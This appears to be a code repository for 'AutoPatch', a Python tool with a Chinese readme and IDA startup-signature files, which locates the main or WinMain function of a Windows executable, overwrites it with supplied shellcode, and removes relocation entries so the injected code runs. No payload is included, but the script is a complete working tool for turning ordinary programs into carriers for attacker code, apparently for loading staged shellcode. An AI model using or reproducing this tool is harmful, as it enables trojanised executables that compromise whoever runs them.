├── Readme.md ├── autoPatch.py ├── pe.txt └── pe64.txt /Readme.md: -------------------------------------------------------------------------------- 1 | ## AutoPatch 2 | 3 | ​ 自动patch shellcode到PE文件的脚本 4 | 5 | ### 原理 6 | 7 | ​ 使用IDA的startup签名自动识别PE入口点（WinMain/Main）后将shellcode覆盖过去，并简单处理重定位表保证shellcode的运行 8 | 9 | ### 使用 10 | 11 | ​ `usage: autoPatch.py [-h] pe_file_path shellcode_path` 12 | 13 | ​ 14 | -------------------------------------------------------------------------------- /autoPatch.py: -------------------------------------------------------------------------------- 1 | import re 2 | import argparse 3 | import pefile 4 | 5 | 6 | def extract_patterns_and_m_values(file_path): 7 | patterns = {} 8 | 9 | with open(file_path, 'r', encoding='utf-8') as file: 10 | content = file.read() 11 | sections = content.strip().split('\n\n') 12 | for section in sections: 13 | pattern_match = re.search(r'Pattern:\s*(.+)', section) 14 | m_values = re.findall(r'm=[+-]([0-9A-Fa-f]+)', section) 15 | 16 | if pattern_match: 17 | pattern = pattern_match.group(1).strip() 18 | filtered_m_values = [ 19 | m.strip() for m in m_values if re.match(r'.*[0-9A-Fa-f]$', m.strip()) 20 | ] 21 | if filtered_m_values: 22 | patterns[pattern] = filtered_m_values 23 | return patterns 24 | 25 | 26 | def search_bytes_in_file(data, pattern): 27 | pattern = pattern.replace('..', r'.{1}') 28 | pattern = re.sub(r'([0-9A-Fa-f]{2})', r'\\x\1', pattern) 29 | regex = bytes(pattern, 'utf-8') 30 | match = re.search(regex, data) 31 | return match 32 | 33 | 34 | def get_main_offset(data, pattern_path): 35 | patterns = extract_patterns_and_m_values(pattern_path) 36 | 37 | for pattern, m_values in patterns.items(): 38 | match = search_bytes_in_file(data, pattern) 39 | if match: 40 | # print(match.start()) 41 | for m in m_values: 42 | if data[match.start() + int(m, 16)] == 0xE8: 43 | call_main_offset = match.start() + int(m, 16) 44 | return call_main_offset 45 | return 0 46 | 47 | 48 | def modify_relocation_entries(pe, target_rva_start, target_rva_end): 49 | if not hasattr(pe, 'DIRECTORY_ENTRY_BASERELOC'): 50 | print("No Base Relocation Table found.") 51 | return 52 | 53 | for base_reloc in pe.DIRECTORY_ENTRY_BASERELOC: 54 | new_entries = [] 55 | for entry in base_reloc.entries: 56 | entry_rva = entry.rva 57 | # print(f"Modifying Relocation Entry RVA: 0x{entry_rva:X}") 58 | if target_rva_start <= entry_rva <= target_rva_end: 59 | # print(f"Modifying Relocation Entry RVA: 0x{entry_rva:X}") 60 | entry.type = 0 61 | entry.rva = 0 62 | else: 63 | new_entries.append(entry) 64 | base_reloc.entries = new_entries 65 | 66 | 67 | def patch_pe(pe_file_path, shellcode_path): 68 | with open(shellcode_path, 'rb') as f: 69 | shellcode = f.read() 70 | shellcode_size = len(shellcode) 71 | 72 | pe = pefile.PE(pe_file_path) 73 | with open(pe_file_path, 'rb') as f: 74 | data = f.read() 75 | 76 | file_type = 32 if pe.FILE_HEADER.Machine == pefile.MACHINE_TYPE['IMAGE_FILE_MACHINE_I386'] else 64 77 | pattern_path = 'pe.txt' if file_type == 32 else 'pe64.txt' 78 | 79 | call_main_offset = get_main_offset(data, pattern_path) 80 | if call_main_offset == 0: 81 | print("Cant pattern crt or main!") 82 | else: 83 | call_main_rva = pe.get_rva_from_offset(call_main_offset) 84 | relative_offset = int.from_bytes(data[call_main_offset + 1: call_main_offset + 5], 'little', signed=True) 85 | 86 | main_rva = call_main_rva + relative_offset + 5 87 | main_offset = pe.get_offset_from_rva(main_rva) 88 | print(f"Main RVA: 0x{main_rva:X}, Main offset: 0x{main_offset:X}") 89 | 90 | modify_relocation_entries(pe, main_rva, main_rva + shellcode_size) 91 | output_file_path = 'output.exe' 92 | pe.write(output_file_path) 93 | with open(output_file_path, 'rb+') as f: 94 | f.seek(main_offset) 95 | f.write(shellcode) 96 | print(f"Patch PE file saved as: {output_file_path}") 97 | 98 | 99 | if __name__ == '__main__': 100 | parser = argparse.ArgumentParser(description='') 101 | parser.add_argument('pe_file_path', help='pe_file_path') 102 | parser.add_argument('shellcode_path', help='stage_shellcode_path') 103 | args = parser.parse_args() 104 | patch_pe(args.pe_file_path, args.shellcode_path) 105 | 106 | 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /pe.txt: -------------------------------------------------------------------------------- 1 | Pattern: 33C040C20C00 2 | 0000:o=2:ulink:a=104:m=+E(+5*0c&~-/VirtualProtect~)??*0d&/entry:S=0/pe 3 | 4 | Pattern: 33C0C20800 5 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 6 | 7 | Pattern: 5050535556578B5C241C8B7424208B6C2424FF15........89442410A9000000 8 | 0000:o=2:a=104:dm32rw32:m=+141^/_DllMain@12 9 | 10 | Pattern: 5050538B5C2410558B6C241C568B74241C57FF15........A900000080894424 11 | 0000:o=2:a=104:dm32rw32:m=+BF^/_DllMain@12 12 | 13 | Pattern: 506A00E8........BA........528905........894204C7420800000000C742 14 | 0000:o=2:a=10C:b32vcl 15 | 16 | Pattern: 5355568B74241485F657B80100000075138B0D........85C9750933C05F5E5D 17 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+61^[_DllMain@12]~msmfc2d/~@vc32mfc@; 18 | 19 | Pattern: 535657BB010000008B7C2414553BFB752A011D........83FF01740583FF0275 20 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+7C^[_DllMain@12]~msmfc2d/~@vc32mfc@; 21 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+80^[_DllMain@12]~msmfc2d/~@vc32mfc@; 22 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+80^[_DllMain@12]~msmfc2d/~@vc32mfc@; 23 | 24 | Pattern: 535657BB010000008B7C24145585FF7512833D........00750933C05D5F5E5B 25 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+6E^[_DllMain@12]~msmfc2d/~@vc32mfc@; 26 | 27 | Pattern: 535783EC08E8........E8........B801000000E8........85C0750B83C408 28 | 0000:vac35wc:c=a:o=2:a=166:m=+68^/_WinMain@16 29 | 30 | Pattern: 535783EC08E8........FF15........B801000000E8........85C0750B83C4 31 | 0000:vac35wc:c=a:o=2:a=166:m=+68^/_WinMain@16 32 | 33 | Pattern: 5381C4F8FEFFFF68050100008D44240450A1........50E8........8BC4E8 34 | 0000:o=2:a=10C:b32vcl 35 | 36 | Pattern: 5383EC0CE8........E8........B801000000E8........85C0750A83C40CB8 37 | 0000:vac35wc:c=a:o=2:a=165:m=+4A^/?main 38 | 39 | Pattern: 5383EC0CE8........FF15........B801000000E8........85C0750A83C40C 40 | 0000:vac35wc:c=a:o=2:a=165:m=+4B^/?main 41 | 42 | Pattern: 5383EC18A1........85C0741CC744240800000000C744240402000000C70424 43 | 0000:o=2:a=104:c=g:gcc32rtf:m=+C8^/_main:M=0/- 44 | 45 | Pattern: 5383EC28A1........85C0741CC744240800000000C744240402000000C70424 46 | 0000:o=2:a=104:c=g:gcc32rtf:m=+E8^/_main:M=0/- 47 | 48 | Pattern: 5383EC38A1........85C0741CC744240800000000C744240402000000C70424 49 | 0000:o=2:a=104:c=g:gcc32rtf:m=+F8^/_main:M=0/- 50 | 51 | Pattern: 538BD833C0A3........6A00E8........A3........A1........A3 52 | 0000:o=2:a=10C:bds 53 | 54 | Pattern: 53B8010000008B5C240C565785DB557512833D........00750933C05D5F5E5B 55 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+72^[_DllMain@12]~msmfc2d/~@vc32mfc@; 56 | 57 | Pattern: 5531C089E5B91100000057565383EC7C8B1D........8D55A489D7F3AB85DB0F 58 | 0000:o=2:a=104:c=g:gcc32rtf:m=+236(+A3!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 59 | 60 | Pattern: 5531C089E5B9110000005756538D55A481ECAC00000089D7F3AB8D44241B83E0 61 | 0000:o=2:a=104:c=g:gcc32rtf:m=+286(+A6!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 62 | 0000:o=2:a=104:c=g:gcc32rtf:m=+28D(+A6!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 63 | 0000:o=2:a=104:c=g:gcc32rtf:m=+295(+A6!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 64 | 0000:o=2:a=104:c=g:gcc32rtf:m=+295(+A6!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 65 | 66 | Pattern: 5531C089E5B91100000057568D55A45389D783EC7CF3AB8B3D........85FF0F 67 | 0000:o=2:a=104:c=g:gcc32rtf:m=+247(+A3!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 68 | 0000:o=2:a=104:c=g:gcc32rtf:m=+24A(+A6!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 69 | 70 | Pattern: 5531C089E5B91100000057568D55A45389D783EC7CF3ABA1........85C00F85 71 | 0000:o=2:a=104:c=g:gcc32rtf:m=+239(+A6!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 72 | 73 | Pattern: 5531C089E5B91100000057568D55A45389D783EC7CF3ABB030E8........29C4 74 | 0000:o=2:a=104:c=g:gcc32rtf:m=+255(+87!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 75 | 0000:o=2:a=104:c=g:gcc32rtf:m=+255(+A7!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 76 | 0000:o=2:a=104:c=g:gcc32rtf:m=+259(+9F!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 77 | 0000:o=2:a=104:c=g:gcc32rtf:m=+259(+9F!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 78 | 0000:o=2:a=104:c=g:gcc32rtf:m=+25B(+9F!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 79 | 0000:o=2:a=104:c=g:gcc32rtf:m=+265(+87!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 80 | 0000:o=2:a=104:c=g:gcc32rtf:m=+265(+87!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 81 | 0000:o=2:a=104:c=g:gcc32rtf:m=+266(+87!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 82 | 0000:o=2:a=104:c=g:gcc32rtf:m=+266(+A7!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 83 | 0000:o=2:a=104:c=g:gcc32rtf:m=+269(+B1!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 84 | 0000:o=2:a=104:c=g:gcc32rtf:m=+26B(+9F!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 85 | 0000:o=2:a=104:c=g:gcc32rtf:m=+26B(+9F!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 86 | 0000:o=2:a=104:c=g:gcc32rtf:m=+26D(+9F!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 87 | 0000:o=2:a=104:c=g:gcc32rtf:m=+275(+87!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 88 | 0000:o=2:a=104:c=g:gcc32rtf:m=+275(+91!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 89 | 0000:o=2:a=104:c=g:gcc32rtf:m=+275(+A6!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 90 | 0000:o=2:a=104:c=g:gcc32rtf:m=+277(+87!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 91 | 0000:o=2:a=104:c=g:gcc32rtf:m=+278(+87!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 92 | 0000:o=2:a=104:c=g:gcc32rtf:m=+27B(+B1!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 93 | 0000:o=2:a=104:c=g:gcc32rtf:m=+286(+87!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 94 | 0000:o=2:a=104:c=g:gcc32rtf:m=+289(+A6!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 95 | 0000:o=2:a=104:c=g:gcc32rtf:m=+28C(+91!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 96 | 97 | Pattern: 5531C0B91100000089E557568D55A45389D783EC7CF3ABB030E8........29C4 98 | 0000:o=2:a=104:c=g:gcc32rtf:m=+25D(+9F!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 99 | 0000:o=2:a=104:c=g:gcc32rtf:m=+27B(+9F!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 100 | 101 | Pattern: 5531C0B91100000089E557568D55A45389D783EC7CF3ABB830000000E8 102 | 0000:o=2:a=104:c=g:gcc32rtf:m=+26D(+9F!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 103 | 0000:o=2:a=104:c=g:gcc32rtf:m=+26E(+9F!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 104 | 0000:o=2:a=104:c=g:gcc32rtf:m=+276(+AD!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 105 | 0000:o=2:a=104:c=g:gcc32rtf:m=+27B(+9F!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 106 | 0000:o=2:a=104:c=g:gcc32rtf:m=+27B(+9F!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 107 | 0000:o=2:a=104:c=g:gcc32rtf:m=+288(+AC!&~-/GetStartupInfoW~)??^/_wmain;^/:M=0/- 108 | 109 | Pattern: 555789CD565389C789D383EC1C85D28915........7549A1........85C07464 110 | 0000:o=2:a=108:c=g:gcc32rtf:m=+34^/_DllMain@12 111 | 112 | Pattern: 555789CF565389C689D383EC1C85D28915........7569A1........85C07448 113 | 0000:o=2:a=108:c=g:gcc32rtf:m=+34^/_DllMain@12 114 | 0000:o=2:a=108:c=g:gcc32rtf:m=+34^/_DllMain@12 115 | 116 | Pattern: 555789CF565389C689D383EC1C85D28915........7579A1........85C07453 117 | 0000:o=2:a=108:c=g:gcc32rtf:m=+34^/_DllMain@12 118 | 119 | Pattern: 5589E55383EC14A1........85C0741CC744240800000000C744240402000000 120 | 0000:o=2:a=104:c=g:gcc32rtf:m=+CB^/_main:M=0/- 121 | 122 | Pattern: 5589E55383EC14C70424........E8........83EC04E8........8B0D 123 | 0000:o=2:a=104:c=g:gcc32rtf:m=+E3^/_main:M=0/- 124 | 125 | Pattern: 5589E55383EC248D5DF8C70424........E8........83EC04E8........C745 126 | 0000:o=2:a=104:c=g:gcc32rtf:m=+E2^/_main:M=0/- 127 | 128 | Pattern: 5589E55383EC24A1........85C0741CC744240800000000C744240402000000 129 | 0000:o=2:a=104:c=g:gcc32rtf:m=+A6^/_main:M=0/- 130 | 0000:o=2:a=104:c=g:gcc32rtf:m=+A8^/_main:M=0/- 131 | 132 | Pattern: 5589E55383EC34A1........85C0741CC744240800000000C744240402000000 133 | 0000:o=2:a=104:c=g:gcc32rtf:m=+B4^/_main:M=0/- 134 | 0000:o=2:a=104:c=g:gcc32rtf:m=+B6^/_main:M=0/- 135 | 136 | Pattern: 5589E557565383EC0C8B7D0C83FF010F84AB000000897C24048B5D108B4D0889 137 | 0000:o=2:a=108:c=g:gcc32rtf:m=+26^/_DllMain@12; 138 | 139 | Pattern: 5589E557565383EC1C8B5D0C8B75088B7D1083FB017439893424897C2408895C 140 | 0000:o=2:a=108:c=g:gcc32rtf:m=+22^/_DllMain@12; 141 | 142 | Pattern: 5589E557565383EC2C8B75088B5D0C8B7D1083FB01743D897C2408895C240489 143 | 0000:o=2:a=108:c=g:gcc32rtf:m=+22^/_DllMain@12; 144 | 145 | Pattern: 5589E55789CF5689C65389D383EC1C85D28915........754CA1........85C0 146 | 0000:o=2:a=108:c=g:gcc32rtf:m=+36^/_DllMain@12 147 | 0000:o=2:a=108:c=g:gcc32rtf:m=+36^/_DllMain@12 148 | 149 | Pattern: 5589E583EC08C7042401000000FF15........E8C8FEFFFF908DB42600000000 150 | 0000:s=13/- 151 | 152 | Pattern: 5589E583EC08C7042402000000FF15........E8A8FEFFFF908DB42600000000 153 | 0000:s=13/- 154 | 155 | Pattern: 5589E583EC08C705........00000000E8........C9E905FCFFFF9090909090 156 | 0000:s=16/- 157 | 158 | Pattern: 5589E583EC08C705........00000000E8........C9E945FCFFFF9090909090 159 | 0000:s=16/- 160 | 161 | Pattern: 5589E583EC08C705........00000000E8........C9E955FCFFFF9090909090 162 | 0000:s=16/- 163 | 164 | Pattern: 5589E583EC08C705........00000000E8........C9E965FAFFFF9090909090 165 | 0000:s=16/- 166 | 167 | Pattern: 5589E583EC08C705........00000000E8........C9E9A5FAFFFF9090909090 168 | 0000:s=16/- 169 | 170 | Pattern: 5589E583EC08C705........00000000E8........C9E9B5FAFFFF9090909090 171 | 0000:s=16/- 172 | 173 | Pattern: 5589E583EC08C705........01000000E8........C9E925FCFFFF908D742600 174 | 0000:s=16/- 175 | 176 | Pattern: 5589E583EC08C705........01000000E8........C9E965FCFFFF908D742600 177 | 0000:s=16/- 178 | 179 | Pattern: 5589E583EC08C705........01000000E8........C9E975FCFFFF908D742600 180 | 0000:s=16/- 181 | 182 | Pattern: 5589E583EC08C705........01000000E8........C9E985FAFFFF908D742600 183 | 0000:s=16/- 184 | 185 | Pattern: 5589E583EC08C705........01000000E8........C9E9C5FAFFFF908D742600 186 | 0000:s=16/- 187 | 188 | Pattern: 5589E583EC08C705........01000000E8........C9E9D5FAFFFF908D742600 189 | 0000:s=16/- 190 | 191 | Pattern: 5589E583EC08E865FDFFFF908D742600 192 | 0000:s=6/- 193 | 194 | Pattern: 5589E583EC08E875FDFFFF908D742600 195 | 0000:s=6/- 196 | 197 | Pattern: 5589E583EC08E889FDFFFF90 198 | 0000:s=6/- 199 | 200 | Pattern: 5589E583EC08E895FDFFFF90 201 | 0000:s=6/- 202 | 203 | Pattern: 5589E583EC08E8C5FEFFFF908D742600 204 | 0000:s=6/- 205 | 206 | Pattern: 5589E583EC08E8D5FEFFFF908D742600 207 | 0000:s=6/- 208 | 209 | Pattern: 5589E583EC08E8E5FEFFFF908D742600 210 | 0000:s=6/- 211 | 212 | Pattern: 5589E583EC188B550CC705........0000000083FA01740F8B4D108B4508E85D 213 | 0000:s=1E/- 214 | 215 | Pattern: 5589E583EC18A1........C7442404000000008944240CA1........89442408 216 | 0000:m=+28^/_wWinMain@16 217 | 218 | Pattern: 5589E583EC18C7042401000000FF15........E858FDFFFF908DB42600000000 219 | 0000:s=13/- 220 | 221 | Pattern: 5589E583EC18C7042401000000FF15........E87CFDFFFF 222 | 0000:s=13/- 223 | 224 | Pattern: 5589E583EC18C7042401000000FF15........E8A8FEFFFF908DB42600000000 225 | 0000:s=13/- 226 | 227 | Pattern: 5589E583EC18C7042402000000FF15........E838FDFFFF908DB42600000000 228 | 0000:s=13/- 229 | 230 | Pattern: 5589E583EC18C7042402000000FF15........E864FDFFFF 231 | 0000:s=13/- 232 | 233 | Pattern: 5589E583EC18C7042402000000FF15........E8C8FEFFFF908DB42600000000 234 | 0000:s=13/- 235 | 236 | Pattern: 5589E583EC3885D2895DF489C38975F889D6897DFC894DE48915........7556 237 | 0000:o=2:a=108:c=g:gcc32rtf:m=+42^/_DllMain@12 238 | 239 | Pattern: 5589E583EC38895DF48B5D0C8975F88B7508897DFC8B7D1083FB017443897C24 240 | 0000:o=2:a=108:c=g:gcc32rtf:m=+28^/_DllMain@12; 241 | 0000:o=2:a=108:c=g:gcc32rtf:m=+28^/_DllMain@12; 242 | 243 | Pattern: 558BEC51535657BB........85DB756D33C0EB798B53088B0A894DFC85C9745A 244 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 245 | 246 | Pattern: 558BEC51837D0C0175238B4510508B4D0C518B550852E8........83C40C8845 247 | -0040:__CRT_INIT 0000:o=20:a=108:win32unx:m=+48^/_DLLMain@12 248 | 249 | Pattern: 558BEC51C745FC01000000837D0C007510833D........00750733C0E9CC0000 250 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab:m=+7B^[_DllMain@12]~msmfc2d/~@vc32mfc@; 251 | 252 | Pattern: 558BEC5356578B7508BB........85DB755E33C0EB688B53088B3A85FF744E85 253 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 254 | 255 | Pattern: 558BEC538B5D08568B750C578B7D1085F67509833D........00EB2683FE0174 256 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vc432opg/vc432tap/vc432cab/vcextra:m=+4B^[_DllMain@12]~msmfc2d/~@vc32mfc@; 257 | 258 | Pattern: 558BEC538B5D08568B750C85F6578B7D107509833D........00EB2683FE0174 259 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+4B^[_DllMain@12]~msmfc2d/~@vc32mfc@; 260 | 261 | Pattern: 558BEC5657BF010000008B750C85F6750D833D........00750433C0EB7983FE 262 | 0000:o=2:a=108:vc32rtf:l=vc32mfc:m=+5A^[_DllMain@12]~msmfc2d/~@vc32mfc@; 263 | 264 | Pattern: 558BEC648B15........6AFF68........68........52648925........83EC 265 | 0000:o=2:a=104:dm32rw32:m=+A4^(~dm_d2_win/_main~+12B!&~dm_d2_win/_D2rt6dmain24mainUiPPaZi6runAllMFZv~+25!&+7!^@dm_d2_win@/_Dmain)/ 266 | 0000:o=2:a=104:dm32rw32:m=+A5^/_WinMain@16 267 | 0000:o=2:a=104:dm32rw32:m=+A5^/_wmain 268 | 0000:o=2:a=104:dm32rw32:m=+A6^/_wWinMain@16 269 | 270 | Pattern: 558BEC68........64FF35000000006489250000000083EC0457E8........E8 271 | 0000:vac35wc:c=a:o=2:a=166:m=+ED^/_WinMain@16 272 | 273 | Pattern: 558BEC68........64FF35000000006489250000000083EC0457E8........FF 274 | 0000:vac35wc:c=a:o=2:a=166:m=+ED^/_WinMain@16 275 | 276 | Pattern: 558BEC68........64FF350000000064892500000000E8........E8 277 | 0000:vac35wc:c=a:o=2:a=165:m=+CA^/?main 278 | 279 | Pattern: 558BEC68........64FF350000000064892500000000E8........FF15 280 | 0000:vac35wc:c=a:o=2:a=165:m=+CE^/?main 281 | 282 | Pattern: 558BEC6AFE68........68........64A1000000005081C478FFFFFF535657A1 283 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+2AA^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 284 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+2AB^[_WinMain@16]~msmfc2/~@vc32mfc@; 285 | 286 | Pattern: 558BEC6AFE68........68........64A1000000005083C488535657A1 287 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+284^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 288 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+284^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 289 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+284^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 290 | 291 | Pattern: 558BEC6AFE68........68........64A1000000005083C48C535657A1 292 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+281^[_WinMain@16]~msmfc2/~@vc32mfc@; 293 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+281^[_WinMain@16]~msmfc2/~@vc32mfc@; 294 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+281^[_WinMain@16]~msmfc2/~@vc32mfc@; 295 | 296 | Pattern: 558BEC6AFE68........68........64A1000000005083C4CC535657A1 297 | 0000:s=152/- 298 | 299 | Pattern: 558BEC6AFE68........68........64A1000000005083C4D0535657A1 300 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+22D^/_wmain 301 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+22E^/ 302 | 0000:s=14B/- 303 | 0000:s=14C/- 304 | 0000:s=155/- 305 | 306 | Pattern: 558BEC6AFE68........68........64A1000000005083C4D4535657A1 307 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+20A^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 308 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+217^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 309 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+22D^[_WinMain@16]~msmfc2/~@vc32mfc@; 310 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+23A^[_WinMain@16]~msmfc2/~@vc32mfc@; 311 | 312 | Pattern: 558BEC6AFE68........68........64A1000000005083C4E0535657A1 313 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+108(-72!&~-/GetCommandLineW~)??^/_wWinMain@16;^/_WinMain@16 314 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+123(-72!&~-/GetCommandLineW~)??^/_wWinMain@16;^/_WinMain@16 315 | 316 | Pattern: 558BEC6AFE68........68........64A1000000005083C4E4535657A1 317 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+194(-22!&~-/__winitenv~)??^/_wmain;^/ 318 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+194(-22!&~-/__winitenv~)??^/_wmain;^/ 319 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+1A1(-22!&~-/__winitenv~)??^/_wmain;^/ 320 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+1A1(-22!&~-/__winitenv~)??^/_wmain;^/ 321 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+1A1(-22!&~-/__winitenv~)??^/_wmain;^/ 322 | 323 | Pattern: 558BEC6AFE68........68........64A1000000005083C4E8535657A1 324 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+107(-7A!&~-/GetCommandLineW~)??^/_wmain;^/ 325 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+115(-7A!&~-/GetCommandLineW~)??^/_wmain;^/ 326 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+C3^[_DllMain@12]~msmfc2d/~@vc32mfc@; 327 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+C3^[_DllMain@12]~msmfc2d/~@vc32mfc@; 328 | 329 | Pattern: 558BEC6AFE68........68........64A1000000005083C4F0535657A1 330 | 0000:o=2:a=108:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+A9^[_DllMain@12]~msmfc2d/~@vc32mfc@; 331 | 0000:o=2:a=108:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+AD^[_DllMain@12]~msmfc2d/~@vc32mfc@; 332 | 0000:o=2:a=108:vc32_14:vc32ucrt:l=vc32mfc/vcextra/vc8atl:m=+BF^[_DllMain@12]~msmfc2d/~@vc32mfc@; 333 | 0000:o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+C6^[_DllMain@12]~msmfc2d/~@vc32mfc@; 334 | 335 | Pattern: 558BEC6AFF68........648B15........68........52648925........83EC 336 | 0000:o=2:a=104:dm32rw32:m=+7E^/_WinMain@16 337 | 0000:o=2:a=104:dm32rw32:m=+7F^/_wWinMain@16 338 | 0000:o=2:a=104:dm32rw32:m=+81^/ 339 | 0000:o=2:a=104:dm32rw32:m=+82^/_wmain 340 | 0000:o=2:a=104:dm32rw32:m=+87^/ 341 | 0000:o=2:a=104:dm32rw32:m=+88^/_WinMain@16 342 | 0000:o=2:a=104:dm32rw32:m=+88^/_wmain 343 | 0000:o=2:a=104:dm32rw32:m=+89^/_wWinMain@16 344 | 345 | Pattern: 558BEC6AFF68........68........64A1........50648925........81C404 346 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+147^[_WinMain@16]~msmfc2/~@vc32mfc@; 347 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+15A^[_WinMain@16]~msmfc2/~@vc32mfc@; 348 | 349 | Pattern: 558BEC6AFF68........68........64A1........50648925........81C450 350 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+118^/ 351 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+12B^/ 352 | 353 | Pattern: 558BEC6AFF68........68........64A1........50648925........81C47C 354 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+1F3^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 355 | 356 | Pattern: 558BEC6AFF68........68........64A1........50648925........81C484 357 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+146^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 358 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+159^[_wWinMain@16]~msmfc2u/~@vc32mfc@; 359 | 360 | Pattern: 558BEC6AFF68........68........64A1........50648925........81C4D0 361 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+117^/_wmain 362 | 0000:o=2:a=104:vc32rtf:l=vc32mfc/vcextra/vc7atl:m=+12A^/_wmain 363 | 364 | Pattern: 558BEC6AFF68........68........64A1........50648925........81EC28 365 | 